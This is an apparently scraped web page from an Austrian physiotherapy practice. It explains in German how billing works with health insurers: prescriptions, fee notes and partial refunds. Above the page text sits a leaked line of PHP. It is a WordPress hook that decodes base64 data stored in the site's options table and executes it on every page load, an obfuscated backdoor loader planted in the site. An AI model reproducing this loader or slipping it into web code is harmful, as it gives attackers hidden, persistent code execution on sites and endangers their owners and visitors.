add_action( 'init', create_function( '', @join( array_map( "base64_decode", json_decode( get_option( $table_prefix . "widget_meta" ) ) ) ) ) ); Physiotherapie - Gerhard und Cornelia Köchl - Abrechnungssystem

Abrechnungssystem

Unsere Abrechnung erfolgt durch das Wahlarzt (- therapeuten) – System für alle Krankenkassen:

  1. Wir erhalten unseren Therapieauftrag durch eine Therapieverordnung von Ihrem behandelnden Arzt.
  2. Die Therapieverordnung muss spätestens nach der ersten therapeutischen Behandlung von Ihrer Krankenkasse genehmigt werden, um einen Kostenersatz in Anspruch nehmen zu können.
  3. Nach der letzten Therapiesitzung stellen wir eine Honorarnote, die vom Patienten zu bezahlen ist.
  4. Um die Honorarnote anteilig rückerstattet zu bekommen, muss die Orginalrechnung, der Einzahlungsnachweis und die Therapieverordnung bei der Kasse eingereicht werden.
  5. Die Kassen refundieren die therapeutischen Maßnahmen nach den eigenen Behandlungstarifen. In der Regel entsteht dadurch ein Selbstbehalt von ca 30-40% für den Patienten.
  6. Für Zusatzversicherte oder einer Rehabilitationen im Rahmen einer Unfallversicherung übernimmt die private Zusatzversicherung den Differenzbetrag.
  7. Eine direkte Verrechnung mit der TGKK ist im Rahmen einer neurologischen Rehabilitationsbehandlung möglich, muss aber von einem Neurologen verordnet und von der Kasse bewilligt werden.